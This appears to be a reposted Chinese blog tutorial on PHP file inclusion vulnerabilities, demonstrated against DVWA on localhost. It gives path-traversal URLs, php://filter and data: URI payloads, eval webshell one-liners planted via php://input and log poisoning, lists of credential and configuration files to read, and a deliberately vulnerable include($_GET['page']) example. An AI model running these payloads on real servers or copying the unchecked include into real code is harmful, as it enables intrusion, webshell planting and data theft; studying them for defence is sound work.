1. 程式人生 > >文件包含漏洞總結

文件包含漏洞總結

shell. github 引用 常見 logs zip 協議 ria etc

技術分享圖片

前言:

本人(九世)正式從博客園:遷移到:http://hackhat.net。會進行同步更新

正文:

漏洞來源:

文件包含漏洞,得從文件包含說起。一般寫代碼的人都知道,完成一個項目裏面有很多的文件調用和引用

而文件包含漏洞,因為文件包含的時候沒有做對應的防禦措施導致引用的文件變成攻擊者所指定的文件。

PHP中提供了四個文件包含的函數

函數名稱特點
include 遇到錯誤,仍會執行
include_once 遇到錯誤,仍會執行
require 遇到錯誤,不會執行
require_once 遇到錯誤,不會執行

文件包含漏洞又分為:

本地文件包含

遠程文件包含

文件包含利用工具:https://github.com/D35m0nd142/LFISuite

技術分享圖片

本地文件包含:

  • 利用的價值:可包含目標服務器裏面的文件
  • 利用的方法:絕對路徑包含,協議包含,日誌包含
  • 上傳圖片馬,然後包含
  • 若有phpinfo,能知道臨時文件的路徑,則可以包含臨時文件
  • phar協議的特殊姿勢:http://bbs.pediy.com/thread-216191.htm

1.絕對路徑包含

原:

技術分享圖片

將include.php變為/../../../../../phpinfo.php

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=include.php
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=/../../../../../phpinfo.php

技術分享圖片

包含C盤某txt

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=/../../../../../windows-version.txt

技術分享圖片 技術分享圖片

可以發現出現在左上角了

2.協議包含

一般使用的協議有 php,file,data,zip

php協議的用法:base64編碼查看腳本的代碼,php進行寫入

例子:

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=/../../../../../shell.php

得到加密的base64:PD9waHAgQGV2YWwoJF9QT1NUWydoYXEnXSk7Pz4=

技術分享圖片

解密之後:

技術分享圖片

file協議的用法:包含文件

例子:和上面的/../../../../../一樣這裏就不在重復

技術分享圖片

data協議的用法:data:text/plain,《php代碼》

例子:

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=data:text/plain,%3C?php%20system(%27ipconfig%27);?%3E

很明顯的可以看見,利用data協議執行了cmd命令

技術分享圖片

php://input進行寫入:

php://input&cmd=dir
post提交:<?php @eval($_POST[‘cmd‘]);?>

技術分享圖片

3.日誌包含

利用LFISuite掃描到可以讀取的日誌

直接提交://http://xx.com/<?php @eval($_POST[‘c‘]);?> ,然後burpsuite抓包將提交被html編碼的改好進行提交

訪問日誌,然後配置好C刀即可獲取一個一句話木馬。

技術分享圖片

一些常見的日誌目錄:

windows:

c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini             php配置文件
c:\windows\my.ini               mysql配置文件

Linux:

/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini          PHP相關設置
/etc/httpd/conf/http.conf                    apache配置文件
/etc/my.cnf                                              mysql配置文件

遠程文件包含:

前提:需要開啟allow_url_fopen,默認關閉。
新建php.txt:

1 2 3 <?php echo "hello world"; ?>

新建index.php:

1 2 3 <?php Include($_GET[‘page‘]); ?>

訪問http://www.xxxx.com/page=http://www.xxxx.com/php.txt執行結果將輸出hello world。

python打造文件包含檢測工具:http://www.cnblogs.com/haq5201314/p/9192535.html

測試圖:

技術分享圖片

文件包含漏洞總結